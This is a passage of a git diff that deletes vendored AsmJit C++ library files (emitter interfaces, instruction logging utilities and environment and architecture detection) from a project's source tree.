uint16_t `value` repeated by `repeatCount`. - inline Error embedUInt16(uint16_t value, size_t repeatCount = 1) { return embedDataArray(Type::kIdU16, &value, 1, repeatCount); } - //! Embeds int32_t `value` repeated by `repeatCount`. - inline Error embedInt32(int32_t value, size_t repeatCount = 1) { return embedDataArray(Type::kIdI32, &value, 1, repeatCount); } - //! Embeds uint32_t `value` repeated by `repeatCount`. - inline Error embedUInt32(uint32_t value, size_t repeatCount = 1) { return embedDataArray(Type::kIdU32, &value, 1, repeatCount); } - //! Embeds int64_t `value` repeated by `repeatCount`. - inline Error embedInt64(int64_t value, size_t repeatCount = 1) { return embedDataArray(Type::kIdI64, &value, 1, repeatCount); } - //! Embeds uint64_t `value` repeated by `repeatCount`. - inline Error embedUInt64(uint64_t value, size_t repeatCount = 1) { return embedDataArray(Type::kIdU64, &value, 1, repeatCount); } - //! Embeds a floating point `value` repeated by `repeatCount`. - inline Error embedFloat(float value, size_t repeatCount = 1) { return embedDataArray(Type::kIdF32, &value, 1, repeatCount); } - //! Embeds a floating point `value` repeated by `repeatCount`. - inline Error embedDouble(double value, size_t repeatCount = 1) { return embedDataArray(Type::IdOfT::kTypeId, &value, 1, repeatCount); } - - //! Embeds a constant pool at the current offset by performing the following: - //! 1. Aligns by using kAlignData to the minimum `pool` alignment. - //! 2. Binds the ConstPool label so it's bound to an aligned location. - //! 3. Emits ConstPool content. - virtual Error embedConstPool(const Label& label, const ConstPool& pool) = 0; - - //! Embeds an absolute `label` address as data. - //! - //! The `dataSize` is an optional argument that can be used to specify the - //! size of the address data. If it's zero (default) the address size is - //! deduced from the target architecture (either 4 or 8 bytes). - virtual Error embedLabel(const Label& label, size_t dataSize = 0) = 0; - - //! Embeds a delta (distance) between the `label` and `base` calculating it - //! as `label - base`. This function was designed to make it easier to embed - //! lookup tables where each index is a relative distance of two labels. - virtual Error embedLabelDelta(const Label& label, const Label& base, size_t dataSize = 0) = 0; - - //! \} - - //! \name Comment - //! \{ - - //! Emits a comment stored in `data` with an optional `size` parameter. - virtual Error comment(const char* data, size_t size = SIZE_MAX) = 0; - - //! Emits a formatted comment specified by `fmt` and variable number of arguments. - ASMJIT_API Error commentf(const char* fmt, ...); - //! Emits a formatted comment specified by `fmt` and `ap`. - ASMJIT_API Error commentv(const char* fmt, va_list ap); - - //! \} - - //! \name Events - //! \{ - - //! Called after the emitter was attached to `CodeHolder`. - virtual Error onAttach(CodeHolder* code) noexcept = 0; - //! Called after the emitter was detached from `CodeHolder`. - virtual Error onDetach(CodeHolder* code) noexcept = 0; - - //! Called when \ref CodeHolder has updated an important setting, which - //! involves the following: - //! - //! - \ref Logger has been changed (\ref CodeHolder::setLogger() has been - //! called). - //! - \ref ErrorHandler has been changed (\ref CodeHolder::setErrorHandler() - //! has been called). - //! - //! This function ensures that the settings are properly propagated from - //! \ref CodeHolder to the emitter. - //! - //! \note This function is virtual and can be overridden, however, if you - //! do so, always call \ref BaseEmitter::onSettingsUpdated() within your - //! own implementation to ensure that the emitter is in a consisten state. - ASMJIT_API virtual void onSettingsUpdated() noexcept; - - //! \} - -#ifndef ASMJIT_NO_DEPRECATED - ASMJIT_DEPRECATED("Use environment() instead") - inline CodeInfo codeInfo() const noexcept { - return CodeInfo(_environment, _code ? _code->baseAddress() : Globals::kNoBaseAddress); - } - - ASMJIT_DEPRECATED("Use arch() instead") - inline uint32_t archId() const noexcept { return arch(); } - - ASMJIT_DEPRECATED("Use registerSize() instead") - inline uint32_t gpSize() const noexcept { return registerSize(); } - - ASMJIT_DEPRECATED("Use encodingOptions() instead") - inline uint32_t emitterOptions() const noexcept { return encodingOptions(); } - - ASMJIT_DEPRECATED("Use addEncodingOptions() instead") - inline void addEmitterOptions(uint32_t options) noexcept { addEncodingOptions(options); } - - ASMJIT_DEPRECATED("Use clearEncodingOptions() instead") - inline void clearEmitterOptions(uint32_t options) noexcept { clearEncodingOptions(options); } - - ASMJIT_DEPRECATED("Use forcedInstOptions() instead") - inline uint32_t globalInstOptions() const noexcept { return forcedInstOptions(); } -#endif // !ASMJIT_NO_DEPRECATED -}; - -//! \} - -ASMJIT_END_NAMESPACE - -#endif // ASMJIT_CORE_EMITTER_H_INCLUDED diff --git a/src/Theodosius/asmjit/core/emitterutils.cpp b/src/Theodosius/asmjit/core/emitterutils.cpp deleted file mode 100644 index 1115934..0000000 --- a/src/Theodosius/asmjit/core/emitterutils.cpp +++ /dev/null @@ -1,150 +0,0 @@ -// AsmJit - Machine code generation for C++ -// -// * Official AsmJit Home Page: https://asmjit.com -// * Official Github Repository: https://github.com/asmjit/asmjit -// -// Copyright (c) 2008-2020 The AsmJit Authors -// -// This software is provided 'as-is', without any express or implied -// warranty. In no event will the authors be held liable for any damages -// arising from the use of this software. -// -// Permission is granted to anyone to use this software for any purpose, -// including commercial applications, and to alter it and redistribute it -// freely, subject to the following restrictions: -// -// 1. The origin of this software must not be misrepresented; you must not -// claim that you wrote the original software. If you use this software -// in a product, an acknowledgment in the product documentation would be -// appreciated but is not required. -// 2. Altered source versions must be plainly marked as such, and must not be -// misrepresented as being the original software. -// 3. This notice may not be removed or altered from any source distribution. - -#include "../core/api-build_p.h" -#include "../core/assembler.h" -#include "../core/emitterutils_p.h" -#include "../core/formatter.h" -#include "../core/logger.h" -#include "../core/support.h" - -ASMJIT_BEGIN_NAMESPACE - -// ============================================================================ -// [asmjit::EmitterUtils] -// ============================================================================ - -namespace EmitterUtils { - -#ifndef ASMJIT_NO_LOGGING - -Error formatLine(String& sb, const uint8_t* binData, size_t binSize, size_t dispSize, size_t immSize, const char* comment) noexcept { - size_t currentSize = sb.size(); - size_t commentSize = comment ? Support::strLen(comment, Globals::kMaxCommentSize) : 0; - - ASMJIT_ASSERT(binSize >= dispSize); - const size_t kNoBinSize = SIZE_MAX; - - if ((binSize != 0 && binSize != kNoBinSize) || commentSize) { - size_t align = kMaxInstLineSize; - char sep = ';'; - - for (size_t i = (binSize == kNoBinSize); i < 2; i++) { - size_t begin = sb.size(); - ASMJIT_PROPAGATE(sb.padEnd(align)); - - if (sep) { - ASMJIT_PROPAGATE(sb.append(sep)); - ASMJIT_PROPAGATE(sb.append(' ')); - } - - // Append binary data or comment. - if (i == 0) { - ASMJIT_PROPAGATE(sb.appendHex(binData, binSize - dispSize - immSize)); - ASMJIT_PROPAGATE(sb.appendChars('.', dispSize * 2)); - ASMJIT_PROPAGATE(sb.appendHex(binData + binSize - immSize, immSize)); - if (commentSize == 0) break; - } - else { - ASMJIT_PROPAGATE(sb.append(comment, commentSize)); - } - - currentSize += sb.size() - begin; - align += kMaxBinarySize; - sep = '|'; - } - } - - return sb.append('\n'); -} - -void logLabelBound(BaseAssembler* self, const Label& label) noexcept { - Logger* logger = self->logger(); - - StringTmp<512> sb; - size_t binSize = logger->hasFlag(FormatOptions::kFlagMachineCode) ? size_t(0) : SIZE_MAX; - - sb.appendChars(' ', logger->indentation(FormatOptions::kIndentationLabel)); - Formatter::formatLabel(sb, logger->flags(), self, label.id()); - sb.append(':'); - EmitterUtils::formatLine(sb, nullptr, binSize, 0, 0, self->_inlineComment); - logger->log(sb.data(), sb.size()); -} - -void logInstructionEmitted( - BaseAssembler* self, - uint32_t instId, uint32_t options, const Operand_& o0, const Operand_& o1, const Operand_& o2, const Operand_* opExt, - uint32_t relSize, uint32_t immSize, uint8_t* afterCursor) { - - Logger* logger = self->logger(); - ASMJIT_ASSERT(logger != nullptr); - - StringTmp<256> sb; - uint32_t flags = logger->flags(); - - uint8_t* beforeCursor = self->bufferPtr(); - intptr_t emittedSize = (intptr_t)(afterCursor - beforeCursor); - - Operand_ opArray[Globals::kMaxOpCount]; - EmitterUtils::opArrayFromEmitArgs(opArray, o0, o1, o2, opExt); - - sb.appendChars(' ', logger->indentation(FormatOptions::kIndentationCode)); - Formatter::formatInstruction(sb, flags, self, self->arch(), BaseInst(instId, options, self->extraReg()), opArray, Globals::kMaxOpCount); - - if ((flags & FormatOptions::kFlagMachineCode) != 0) - EmitterUtils::formatLine(sb, self->bufferPtr(), size_t(emittedSize), relSize, immSize, self->inlineComment()); - else - EmitterUtils::formatLine(sb, nullptr, SIZE_MAX, 0, 0, self->inlineComment()); - logger->log(sb); -} - -Error logInstructionFailed( - BaseAssembler* self, - Error err, - uint32_t instId, uint32_t options, const Operand_& o0, const Operand_& o1, const Operand_& o2, const Operand_* opExt) { - - StringTmp<256> sb; - sb.append(DebugUtils::errorAsString(err)); - sb.append(": "); - - Operand_ opArray[Globals::kMaxOpCount]; - EmitterUtils::opArrayFromEmitArgs(opArray, o0, o1, o2, opExt); - - Formatter::formatInstruction(sb, 0, self, self->arch(), BaseInst(instId, options, self->extraReg()), opArray, Globals::kMaxOpCount); - - if (self->inlineComment()) { - sb.append(" ; "); - sb.append(self->inlineComment()); - } - - self->resetInstOptions(); - self->resetExtraReg(); - self->resetInlineComment(); - return self->reportError(err, sb.data()); -} - -#endif - -} // {EmitterUtils} - -ASMJIT_END_NAMESPACE diff --git a/src/Theodosius/asmjit/core/emitterutils_p.h b/src/Theodosius/asmjit/core/emitterutils_p.h deleted file mode 100644 index 7e222d3..0000000 --- a/src/Theodosius/asmjit/core/emitterutils_p.h +++ /dev/null @@ -1,109 +0,0 @@ -// AsmJit - Machine code generation for C++ -// -// * Official AsmJit Home Page: https://asmjit.com -// * Official Github Repository: https://github.com/asmjit/asmjit -// -// Copyright (c) 2008-2020 The AsmJit Authors -// -// This software is provided 'as-is', without any express or implied -// warranty. In no event will the authors be held liable for any damages -// arising from the use of this software. -// -// Permission is granted to anyone to use this software for any purpose, -// including commercial applications, and to alter it and redistribute it -// freely, subject to the following restrictions: -// -// 1. The origin of this software must not be misrepresented; you must not -// claim that you wrote the original software. If you use this software -// in a product, an acknowledgment in the product documentation would be -// appreciated but is not required. -// 2. Altered source versions must be plainly marked as such, and must not be -// misrepresented as being the original software. -// 3. This notice may not be removed or altered from any source distribution. - -#ifndef ASMJIT_CORE_EMITTERUTILS_P_H_INCLUDED -#define ASMJIT_CORE_EMITTERUTILS_P_H_INCLUDED - -#include "../core/emitter.h" -#include "../core/operand.h" - -ASMJIT_BEGIN_NAMESPACE - -class BaseAssembler; - -//! \cond INTERNAL -//! \addtogroup asmjit_core -//! \{ - -// ============================================================================ -// [asmjit::EmitterUtils] -// ============================================================================ - -namespace EmitterUtils { - -static const Operand_ noExt[3] {}; - -enum kOpIndex { - kOp3 = 0, - kOp4 = 1, - kOp5 = 2 -}; - -static ASMJIT_INLINE uint32_t opCountFromEmitArgs(const Operand_& o0, const Operand_& o1, const Operand_& o2, const Operand_* opExt) noexcept { - uint32_t opCount = 0; - - if (opExt[kOp3].isNone()) { - if (!o0.isNone()) opCount = 1; - if (!o1.isNone()) opCount = 2; - if (!o2.isNone()) opCount = 3; - } - else { - opCount = 4; - if (!opExt[kOp4].isNone()) { - opCount = 5 + uint32_t(!opExt[kOp5].isNone()); - } - } - - return opCount; -} - -static ASMJIT_INLINE void opArrayFromEmitArgs(Operand_ dst[Globals::kMaxOpCount], const Operand_& o0, const Operand_& o1, const Operand_& o2, const Operand_* opExt) noexcept { - dst[0].copyFrom(o0); - dst[1].copyFrom(o1); - dst[2].copyFrom(o2); - dst[3].copyFrom(opExt[kOp3]); - dst[4].copyFrom(opExt[kOp4]); - dst[5].copyFrom(opExt[kOp5]); -} - -#ifndef ASMJIT_NO_LOGGING -enum : uint32_t { - // Has to be big to be able to hold all metadata compiler can assign to a - // single instruction. - kMaxInstLineSize = 44, - kMaxBinarySize = 26 -}; - -Error formatLine(String& sb, const uint8_t* binData, size_t binSize, size_t dispSize, size_t immSize, const char* comment) noexcept; - -void logLabelBound(BaseAssembler* self, const Label& label) noexcept; - -void logInstructionEmitted( - BaseAssembler* self, - uint32_t instId, uint32_t options, const Operand_& o0, const Operand_& o1, const Operand_& o2, const Operand_* opExt, - uint32_t relSize, uint32_t immSize, uint8_t* afterCursor); - -Error logInstructionFailed( - BaseAssembler* self, - Error err, uint32_t instId, uint32_t options, const Operand_& o0, const Operand_& o1, const Operand_& o2, const Operand_* opExt); -#endif - -} - -//! \} -//! \endcond - -ASMJIT_END_NAMESPACE - -#endif // ASMJIT_CORE_EMITTERUTILS_P_H_INCLUDED - diff --git a/src/Theodosius/asmjit/core/environment.cpp b/src/Theodosius/asmjit/core/environment.cpp deleted file mode 100644 index 3be2b15..0000000 --- a/src/Theodosius/asmjit/core/environment.cpp +++ /dev/null @@ -1,64 +0,0 @@ -// AsmJit - Machine code generation for C++ -// -// * Official AsmJit Home Page: https://asmjit.com -// * Official Github Repository: https://github.com/asmjit/asmjit -// -// Copyright (c) 2008-2020 The AsmJit Authors -// -// This software is provided 'as-is', without any express or implied -// warranty. In no event will the authors be held liable for any damages -// arising from the use of this software. -// -// Permission is granted to anyone to use this software for any purpose, -// including commercial applications, and to alter it and redistribute it -// freely, subject to the following restrictions: -// -// 1. The origin of this software must not be misrepresented; you must not -// claim that you wrote the original software. If you use this software -// in a product, an acknowledgment in the product documentation would be -// appreciated but is not required. -// 2. Altered source versions must be plainly marked as such, and must not be -// misrepresented as being the original software. -// 3. This notice may not be removed or altered from any source distribution. - -#include "../core/api-build_p.h" -#include "../core/environment.h" - -ASMJIT_BEGIN_NAMESPACE - -// X86 Target -// ---------- -// -// - 32-bit - Linux, OSX, BSD, and apparently also Haiku guarantee 16-byte -// stack alignment. Other operating systems are assumed to have -// 4-byte alignment by default for safety reasons. -// - 64-bit - stack must be aligned to 16 bytes. -// -// ARM Target -// ---------- -// -// - 32-bit - Stack must be aligned to 8 bytes. -// - 64-bit - Stack must be aligned to 16 bytes (hardware requirement). -uint32_t Environment::stackAlignment() const noexcept { - if (is64Bit()) { - // Assume 16-byte alignment on any 64-bit target. - return 16; - } - else { - // The following platforms use 16-byte alignment in 32-bit mode. - if (isPlatformLinux() || - isPlatformBSD() || - isPlatformApple() || - isPlatformHaiku()) { - return 16u; - } - - if (isFamilyARM()) - return 8; - - // Bail to 4-byte alignment if we don't know. - return 4; - } -} - -ASMJIT_END_NAMESPACE diff --git a/src/Theodosius/asmjit/core/environment.h b/src/Theodosius/asmjit/core/environment.h deleted file mode 100644 index 79e6f7c..0000000 --- a/src/Theodosius/asmjit/core/environment.h +++ /dev/null @@ -1,612 +0,0 @@ -// AsmJit - Machine code generation for C++ -// -// * Official AsmJit Home Page: https://asmjit.com -// * Official Github Repository: https://github.com/asmjit/asmjit -// -// Copyright (c) 2008-2020 The AsmJit Authors -// -// This software is provided 'as-is', without any express or implied -// warranty. In no event will the authors be held liable for any damages -// arising from the use of this software. -// -// Permission is granted to anyone to use this software for any purpose, -// including commercial applications, and to alter it and redistribute it -// freely, subject to the following restrictions: -// -// 1. The origin of this software must not be misrepresented; you must not -// claim that you wrote the original software. If you use this software -// in a product, an acknowledgment in the product documentation would be -// appreciated but is not required. -// 2. Altered source versions must be plainly marked as such, and must not be -// misrepresented as being the original software. -// 3. This notice may not be removed or altered from any source distribution. - -#ifndef ASMJIT_CORE_ENVIRONMENT_H_INCLUDED -#define ASMJIT_CORE_ENVIRONMENT_H_INCLUDED - -#include "../core/globals.h" - -#if defined(__APPLE__) - #include -#endif - -ASMJIT_BEGIN_NAMESPACE - -//! \addtogroup asmjit_core -//! \{ - -// ============================================================================ -// [asmjit::Environment] -// ============================================================================ - -//! Represents an environment, which is usually related to a \ref Target. -//! -//! Environment has usually an 'arch-subarch-vendor-os-abi' format, which is -//! sometimes called "Triple" (historically it used to be 3 only parts) or -//! "Tuple", which is a convention used by Debian Linux. -//! -//! AsmJit doesn't support all possible combinations or architectures and ABIs, -//! however, it models the environment similarly to other compilers for future -//! extensibility. -class Environment { -public: - //! Architecture type, see \ref Arch. - uint8_t _arch; - //! Sub-architecture type, see \ref SubArch. - uint8_t _subArch; - //! Vendor type, see \ref Vendor. - uint8_t _vendor; - //! Platform type, see \ref Platform. - uint8_t _platform; - //! ABI type, see \ref Abi. - uint8_t _abi; - //! Object format, see \ref Format. - uint8_t _format; - //! Reserved for future use, must be zero. - uint16_t _reserved; - - //! Architecture. - enum Arch : uint32_t { - //! Unknown or uninitialized architecture. - kArchUnknown = 0, - - //! Mask used by 32-bit architectures (odd are 32-bit, even are 64-bit). - kArch32BitMask = 0x01, - //! Mask used by big-endian architectures. - kArchBigEndianMask = 0x80u, - - //! 32-bit X86 architecture. - kArchX86 = 1, - //! 64-bit X86 architecture also known as X86_64 and AMD64. - kArchX64 = 2, - - //! 32-bit RISC-V architecture. - kArchRISCV32 = 3, - //! 64-bit RISC-V architecture. - kArchRISCV64 = 4, - - //! 32-bit ARM architecture (little endian). - kArchARM = 5, - //! 32-bit ARM architecture (big endian). - kArchARM_BE = kArchARM | kArchBigEndianMask, - //! 64-bit ARM architecture in (little endian). - kArchAArch64 = 6, - //! 64-bit ARM architecture in (big endian). - kArchAArch64_BE = kArchAArch64 | kArchBigEndianMask, - //! 32-bit ARM in Thumb mode (little endian). - kArchThumb = 7, - //! 32-bit ARM in Thumb mode (big endian). - kArchThumb_BE = kArchThumb | kArchBigEndianMask, - - // 8 is not used, even numbers are 64-bit architectures. - - //! 32-bit MIPS architecture in (little endian). - kArchMIPS32_LE = 9, - //! 32-bit MIPS architecture in (big endian). - kArchMIPS32_BE = kArchMIPS32_LE | kArchBigEndianMask, - //! 64-bit MIPS architecture in (little endian). - kArchMIPS64_LE = 10, - //! 64-bit MIPS architecture in (big endian). - kArchMIPS64_BE = kArchMIPS64_LE | kArchBigEndianMask, - - //! Count of architectures. - kArchCount = 11 - }; - - //! Sub-architecture. - enum SubArch : uint32_t { - //! Unknown or uninitialized architecture sub-type. - kSubArchUnknown = 0, - - //! Count of sub-architectures. - kSubArchCount - }; - - //! Vendor. - //! - //! \note AsmJit doesn't use vendor information at the moment. It's provided - //! for future use, if required. - enum Vendor : uint32_t { - //! Unknown or uninitialized vendor. - kVendorUnknown = 0, - - //! Count of vendor identifiers. - kVendorCount - }; - - //! Platform / OS. - enum Platform : uint32_t { - //! Unknown or uninitialized platform. - kPlatformUnknown = 0, - - //! Windows OS. - kPlatformWindows, - - //! Other platform, most likely POSIX based. - kPlatformOther, - - //! Linux OS. - kPlatformLinux, - //! GNU/Hurd OS. - kPlatformHurd, - - //! FreeBSD OS. - kPlatformFreeBSD, - //! OpenBSD OS. - kPlatformOpenBSD, - //! NetBSD OS. - kPlatformNetBSD, - //! DragonFly BSD OS. - kPlatformDragonFlyBSD, - - //! Haiku OS. - kPlatformHaiku, - - //! Apple OSX. - kPlatformOSX, - //! Apple iOS. - kPlatformIOS, - //! Apple TVOS. - kPlatformTVOS, - //! Apple WatchOS. - kPlatformWatchOS, - - //! Emscripten platform. - kPlatformEmscripten, - - //! Count of platform identifiers. - kPlatformCount - }; - - //! ABI. - enum Abi : uint32_t { - //! Unknown or uninitialied environment. - kAbiUnknown = 0, - //! Microsoft ABI. - kAbiMSVC, - //! GNU ABI. - kAbiGNU, - //! Android Environment / ABI. - kAbiAndroid, - //! Cygwin ABI. - kAbiCygwin, - - //! Count of known ABI types. - kAbiCount - }; - - //! Object format. - //! - //! \note AsmJit doesn't really use anything except \ref kFormatUnknown and - //! \ref kFormatJIT at the moment. Object file formats are provided for - //! future extensibility and a possibility to generate object files at some - //! point. - enum Format : uint32_t { - //! Unknown or uninitialized object format. - kFormatUnknown = 0, - - //! JIT code generation object, most likely \ref JitRuntime or a custom - //! \ref Target implementation. - kFormatJIT, - - //! Executable and linkable format (ELF). - kFormatELF, - //! Common object file format. - kFormatCOFF, - //! Extended COFF object format. - kFormatXCOFF, - //! Mach object file format. - kFormatMachO, - - //! Count of object format types. - kFormatCount - }; - - //! \name Environment Detection - //! \{ - -#ifdef _DOXYGEN - //! Architecture detected at compile-time (architecture of the host). - static constexpr Arch kArchHost = DETECTED_AT_COMPILE_TIME; - //! Sub-architecture detected at compile-time (sub-architecture of the host). - static constexpr SubArch kSubArchHost = DETECTED_AT_COMPILE_TIME; - //! Vendor detected at compile-time (vendor of the host). - static constexpr Vendor kVendorHost = DETECTED_AT_COMPILE_TIME; - //! Platform detected at compile-time (platform of the host). - static constexpr Platform kPlatformHost = DETECTED_AT_COMPILE_TIME; - //! ABI detected at compile-time (ABI of the host). - static constexpr Abi kAbiHost = DETECTED_AT_COMPILE_TIME; -#else - static constexpr Arch kArchHost = - ASMJIT_ARCH_X86 == 32 ? kArchX86 : - ASMJIT_ARCH_X86 == 64 ? kArchX64 : - - ASMJIT_ARCH_ARM == 32 && ASMJIT_ARCH_LE ? kArchARM : - ASMJIT_ARCH_ARM == 32 && ASMJIT_ARCH_BE ? kArchARM_BE : - ASMJIT_ARCH_ARM == 64 && ASMJIT_ARCH_LE ? kArchAArch64 : - ASMJIT_ARCH_ARM == 64 && ASMJIT_ARCH_BE ? kArchAArch64_BE : - - ASMJIT_ARCH_MIPS == 32 && ASMJIT_ARCH_LE ? kArchMIPS32_LE : - ASMJIT_ARCH_MIPS == 32 && ASMJIT_ARCH_BE ? kArchMIPS32_BE : - ASMJIT_ARCH_MIPS == 64 && ASMJIT_ARCH_LE ? kArchMIPS64_LE : - ASMJIT_ARCH_MIPS == 64 && ASMJIT_ARCH_BE ? kArchMIPS64_BE : - - kArchUnknown; - - static constexpr SubArch kSubArchHost = - kSubArchUnknown; - - static constexpr Vendor kVendorHost = - kVendorUnknown; - - static constexpr Platform kPlatformHost = -#if defined(__EMSCRIPTEN__) - kPlatformEmscripten -#elif defined(_WIN32) - kPlatformWindows -#elif defined(__linux__) - kPlatformLinux -#elif defined(__gnu_hurd__) - kPlatformHurd -#elif defined(__FreeBSD__) - kPlatformFreeBSD -#elif defined(__OpenBSD__) - kPlatformOpenBSD -#elif defined(__NetBSD__) - kPlatformNetBSD -#elif defined(__DragonFly__) - kPlatformDragonFlyBSD -#elif defined(__HAIKU__) - kPlatformHaiku -#elif defined(__APPLE__) && TARGET_OS_OSX - kPlatformOSX -#elif defined(__APPLE__) && TARGET_OS_TV - kPlatformTVOS -#elif defined(__APPLE__) && TARGET_OS_WATCH - kPlatformWatchOS -#elif defined(__APPLE__) && TARGET_OS_IPHONE - kPlatformIOS -#else - kPlatformOther -#endif - ; - - static constexpr Abi kAbiHost = -#if defined(_MSC_VER) - kAbiMSVC -#elif defined(__CYGWIN__) - kAbiCygwin -#elif defined(__MINGW32__) || defined(__GLIBC__) - kAbiGNU -#elif defined(__ANDROID__) - kAbiAndroid -#else - kAbiUnknown -#endif - ; - -#endif - - //! \} - - //! \name Construction / Destruction - //! \{ - - inline Environment() noexcept : - _arch(uint8_t(kArchUnknown)), - _subArch(uint8_t(kSubArchUnknown)), - _vendor(uint8_t(kVendorUnknown)), - _platform(uint8_t(kPlatformUnknown)), - _abi(uint8_t(kAbiUnknown)), - _format(uint8_t(kFormatUnknown)), - _reserved(0) {} - - inline Environment(const Environment& other) noexcept = default; - - inline explicit Environment(uint32_t arch, - uint32_t subArch = kSubArchUnknown, - uint32_t vendor = kVendorUnknown, - uint32_t platform = kPlatformUnknown, - uint32_t abi = kAbiUnknown, - uint32_t format = kFormatUnknown) noexcept { - init(arch, subArch, vendor, platform, abi, format); - } - - //! \} - - //! \name Overloaded Operators - //! \{ - - inline Environment& operator=(const Environment& other) noexcept = default; - - inline bool operator==(const Environment& other) const noexcept { return equals(other); } - inline bool operator!=(const Environment& other) const noexcept { return !equals(other); } - - //! \} - - //! \name Accessors - //! \{ - - //! Tests whether the environment is not set up. - //! - //! Returns true if all members are zero, and thus unknown. - inline bool empty() const noexcept { - // Unfortunately compilers won't optimize fields are checked one by one... - return _packed() == 0; - } - - //! Tests whether the environment is intialized, which means it must have - //! a valid architecture. - inline bool isInitialized() const noexcept { - return _arch != kArchUnknown; - } - - inline uint64_t _packed() const noexcept { - uint64_t x; - memcpy(&x, this, 8); - return x; - } - - //! Resets all members of the environment to zero / unknown. - inline void reset() noexcept { - _arch = uint8_t(kArchUnknown); - _subArch = uint8_t(kSubArchUnknown); - _vendor = uint8_t(kVendorUnknown); - _platform = uint8_t(kPlatformUnknown); - _abi = uint8_t(kAbiUnknown); - _format = uint8_t(kFormatUnknown); - _reserved = 0; - } - - inline bool equals(const Environment& other) const noexcept { - return _packed() == other._packed(); - } - - //! Returns the architecture, see \ref Arch. - inline uint32_t arch() const noexcept { return _arch; } - //! Returns the sub-architecture, see \ref SubArch. - inline uint32_t subArch() const noexcept { return _subArch; } - //! Returns vendor, see \ref Vendor. - inline uint32_t vendor() const noexcept { return _vendor; } - //! Returns target's platform or operating system, see \ref Platform. - inline uint32_t platform() const noexcept { return _platform; } - //! Returns target's ABI, see \ref Abi. - inline uint32_t abi() const noexcept { return _abi; } - //! Returns target's object format, see \ref Format. - inline uint32_t format() const noexcept { return _format; } - - inline void init(uint32_t arch, - uint32_t subArch = kSubArchUnknown, - uint32_t vendor = kVendorUnknown, - uint32_t platform = kPlatformUnknown, - uint32_t abi = kAbiUnknown, - uint32_t format = kFormatUnknown) noexcept { - _arch = uint8_t(arch); - _subArch = uint8_t(subArch); - _vendor = uint8_t(vendor); - _platform = uint8_t(platform); - _abi = uint8_t(abi); - _format = uint8_t(format); - _reserved = 0; - } - - inline bool isArchX86() const noexcept { return _arch == kArchX86; } - inline bool isArchX64() const noexcept { return _arch == kArchX64; } - inline bool isArchRISCV32() const noexcept { return _arch == kArchRISCV32; } - inline bool isArchRISCV64() const noexcept { return _arch == kArchRISCV64; } - inline bool isArchARM() const noexcept { return (_arch & ~kArchBigEndianMask) == kArchARM; } - inline bool isArchThumb() const noexcept { return (_arch & ~kArchBigEndianMask) == kArchThumb; } - inline bool isArchAArch64() const noexcept { return (_arch & ~kArchBigEndianMask) == kArchAArch64; } - inline bool isArchMIPS32() const noexcept { return (_arch & ~kArchBigEndianMask) == kArchMIPS32_LE; } - inline bool isArchMIPS64() const noexcept { return (_arch & ~kArchBigEndianMask) == kArchMIPS64_LE; } - - //! Tests whether the architecture is 32-bit. - inline bool is32Bit() const noexcept { return is32Bit(_arch); } - //! Tests whether the architecture is 64-bit. - inline bool is64Bit() const noexcept { return is64Bit(_arch); } - - //! Tests whether the architecture is little endian. - inline bool isLittleEndian() const noexcept { return isLittleEndian(_arch); } - //! Tests whether the architecture is big endian. - inline bool isBigEndian() const noexcept { return isBigEndian(_arch); } - - //! Tests whether this architecture is of X86 family. - inline bool isFamilyX86() const noexcept { return isFamilyX86(_arch); } - //! Tests whether this architecture family is RISC-V (both 32-bit and 64-bit). - inline bool isFamilyRISCV() const noexcept { return isFamilyRISCV(_arch); } - //! Tests whether this architecture family is ARM, Thumb, or AArch64. - inline bool isFamilyARM() const noexcept { return isFamilyARM(_arch); } - //! Tests whether this architecture family is MISP or MIPS64. - inline bool isFamilyMIPS() const noexcept { return isFamilyMIPS(_arch); } - - //! Tests whether the environment platform is Windows. - inline bool isPlatformWindows() const noexcept { return _platform == kPlatformWindows; } - - //! Tests whether the environment platform is Linux. - inline bool isPlatformLinux() const noexcept { return _platform == kPlatformLinux; } - - //! Tests whether the environment platform is Hurd. - inline bool isPlatformHurd() const noexcept { return _platform == kPlatformHurd; } - - //! Tests whether the environment platform is Haiku. - inline bool isPlatformHaiku() const noexcept { return _platform == kPlatformHaiku; } - - //! Tests whether the environment platform is any BSD. - inline bool isPlatformBSD() const noexcept { - return _platform == kPlatformFreeBSD || - _platform == kPlatformOpenBSD || - _platform == kPlatformNetBSD || - _platform == kPlatformDragonFlyBSD; - } - - //! Tests whether the environment platform is any Apple platform (OSX, iOS, TVOS, WatchOS). - inline bool isPlatformApple() const noexcept { - return _platform == kPlatformOSX || - _platform == kPlatformIOS || - _platform == kPlatformTVOS || - _platform == kPlatformWatchOS; - } - - //! Tests whether the ABI is MSVC. - inline bool isAbiMSVC() const noexcept { return _abi == kAbiMSVC; } - //! Tests whether the ABI is GNU. - inline bool isAbiGNU() const noexcept { return _abi == kAbiGNU; } - - //! Returns a calculated stack alignment for this environment. - ASMJIT_API uint32_t stackAlignment() const noexcept; - - //! Returns a native register size of this architecture. - uint32_t registerSize() const noexcept { return registerSizeFromArch(_arch); } - - //! Sets the architecture to `arch`. - inline void setArch(uint32_t arch) noexcept { _arch = uint8_t(arch); } - //! Sets the sub-architecture to `subArch`. - inline void setSubArch(uint32_t subArch) noexcept { _subArch = uint8_t(subArch); } - //! Sets the vendor to `vendor`. - inline void setVendor(uint32_t vendor) noexcept { _vendor = uint8_t(vendor); } - //! Sets the platform to `platform`. - inline void setPlatform(uint32_t platform) noexcept { _platform = uint8_t(platform); } - //! Sets the ABI to `abi`. - inline void setAbi(uint32_t abi) noexcept { _abi = uint8_t(abi); } - //! Sets the object format to `format`. - inline void setFormat(uint32_t format) noexcept { _format = uint8_t(format); } - - //! \} - - //! \name Static Utilities - //! \{ - - static inline bool isValidArch(uint32_t arch) noexcept { - return (arch & ~kArchBigEndianMask) != 0 && - (arch & ~kArchBigEndianMask) < kArchCount; - } - - //! Tests whether the given architecture `arch` is 32-bit. - static inline bool is32Bit(uint32_t arch) noexcept { - return (arch & kArch32BitMask) == kArch32BitMask; - } - - //! Tests whether the given architecture `arch` is 64-bit. - static inline bool is64Bit(uint32_t arch) noexcept { - return (arch & kArch32BitMask) == 0; - } - - //! Tests whether the given architecture `arch` is little endian. - static inline bool isLittleEndian(uint32_t arch) noexcept { - return (arch & kArchBigEndianMask) == 0; - } - - //! Tests whether the given architecture `arch` is big endian. - static inline bool isBigEndian(uint32_t arch) noexcept { - return (arch & kArchBigEndianMask) == kArchBigEndianMask; - } - - //! Tests whether the given architecture is AArch64. - static inline bool isArchAArch64(uint32_t arch) noexcept { - arch &= ~kArchBigEndianMask; - return arch == kArchAArch64; - } - - //! Tests whether the given architecture family is X86 or X64. - static inline bool isFamilyX86(uint32_t arch) noexcept { - return 